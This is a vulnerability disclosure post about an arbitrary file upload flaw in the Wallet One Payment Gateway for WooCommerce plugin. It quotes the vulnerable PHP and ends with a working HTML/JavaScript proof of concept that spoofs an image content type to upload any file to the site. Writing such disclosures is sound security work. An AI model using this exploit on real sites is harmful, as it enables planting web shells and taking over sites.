Vulnerable WordPress Plugin Leads to Another Vulnerable WordPress Plugin
Earlier today we posted about a brand new WordPress plugin that has a security vulnerability that hackers would be likely to exploit. Part of the story there is that security reviews of new WordPress plugins are not happening or they are missing things they shouldn’t. Another piece of the story looks to be that the plugin is largely copied from another plugin and inherited the security vulnerability from that one.
While we were processing the vulnerability in that other plugin, we added a new check to our Plugin Security Checker tool to flag other instances of code similarly insecure to part of the issue with that plugin. While doing that, we checked to see if there might be other plugins in the WordPress Plugin Directory that had code similar to that using the search capability of the WP Directory. What we found was that there was another plugin that had a nearly identical line code to relevant line in the new plugin. Looking further at that second plugin, Wallet One Payment Gateway for WooCommerce, it became clear that the reason the code is nearly identical is that new plugin is using large chucks of code that exist in that plugin. The new plugin might not be copied directly from the plugin, as there could be additional plugins in the chain.
Wallet One Payment Gateway for WooCommerce was removed the WordPress Plugin Directory in November 2018 for the incredibly vague reason of “Guideline Violation.” We can’t find reference to anyone having disclosed the serious vulnerability that exists in it.
Arbitrary File Upload
The details of the vulnerability are basically identical to that of other plugin’s vulnerability, not surprisingly, considering the shared code.
The plugin registers its class WC_Gateway_W1, which is located in the file /class.w1.php, as a WooCommerce payment gateway:
64 | add_filter('woocommerce_payment_gateways', 'W1AddGateway'); |
42 43 44 45 | function W1AddGateway($methods) { $methods[] = 'WC_Gateway_W1'; return $methods; } |
That class will cause the class’ function init_form_fields() to run:
19 20 21 22 23 24 25 26 27 28 29 30 | class WC_Gateway_W1 extends WC_Payment_Gateway { /** * Declaration of class client * * @var object */ public $client; public $logger; public function __construct() { |
46 | $this->init_form_fields(); |
That function will allow arbitrary files to be uploaded. While the function tries to limit what types of files can be uploaded by the checking the “type” of the file being uploaded, the “type” is set in the request being sent, so an attacker can set the value to whatever they want:
82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 | public function init_form_fields() { //Save custom fields if (!empty($_POST['save'])) { //Save new logo if (!empty($_FILES) && $_FILES['woocommerce_w1_logo']['error'] == 0 && is_uploaded_file($_FILES['woocommerce_w1_logo']['tmp_name']) == true && strpos($_FILES['woocommerce_w1_logo']['type'], 'image') !== false) { $str = explode('.', $_FILES['woocommerce_w1_logo']['name']); $type_file = $str[count($str) - 1]; $uploadfile = str_replace('\\', '/', __DIR__) . '/walletone/img/logo.' . $type_file; $files = array_diff(scandir(str_replace('\\', '/', __DIR__) . '/walletone/img/'), array('..', '.')); foreach ($files as $value) { if (strpos($value, 'logo') !== false) { unlink(str_replace('\\', '/', __DIR__) . '/walletone/img/' . $value); } } if (move_uploaded_file($_FILES['woocommerce_w1_logo']['tmp_name'], $uploadfile) == true) { |
The uploaded file is then saved to the directory /wp-content/plugins/wallet-one-payment-woocommerce/walletone/img/logo/ with the name set to “logo” along with the file extension of the file being uploaded.
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the selected file the directory /wp-content/plugins/wallet-one-payment-woocommerce/walletone/img/logo/ with the name set to “logo” along with the file extension of the file being uploaded. A product needs to be added to WooCommerce cart.
Replace “[path to WooCommerce Cart]” with the location of WordPress.
<head> <script> window.addEventListener('load', function () { var file = { dom : document.getElementById("file"), binary : null }; var reader = new FileReader(); reader.addEventListener("load", function () { file.binary = reader.result; }); if(file.dom.files[0]) { reader.readAsBinaryString(file.dom.files[0]); } file.dom.addEventListener("change", function () { if(reader.readyState === FileReader.LOADING) reader.abort(); reader.readAsBinaryString(file.dom.files[0]); }); function sendData() { var xmlhttp = new XMLHttpRequest(); var boundary = "blob"; var data = ""; data += "--" + boundary + "\r\n"; data += 'Content-Disposition: form-data; name="save"' + '\r\n'; data += '\r\n'; data += 'true' + '\r\n'; data += "--" + boundary + "\r\n"; data += 'content-disposition: form-data; ' + 'name="woocommerce_w1_logo"; ' + 'filename="' + file.dom.files[0].name + '"\r\n'; data += 'Content-Type: image/png\r\n'; data += '\r\n'; data += file.binary + '\r\n'; data += "--" + boundary + "--"; xmlhttp.open('POST', 'http://[path to WooCommerce Cart]'); xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary); xmlhttp.send(data); alert('file upload attempted'); } var form = document.getElementById("form"); form.addEventListener('submit', function (event) { sendData(); }); }); </script> </head> <body> <form id="form"> <input id="file" name="file" type="file"> <button>Submit</button> </form> </body> </html>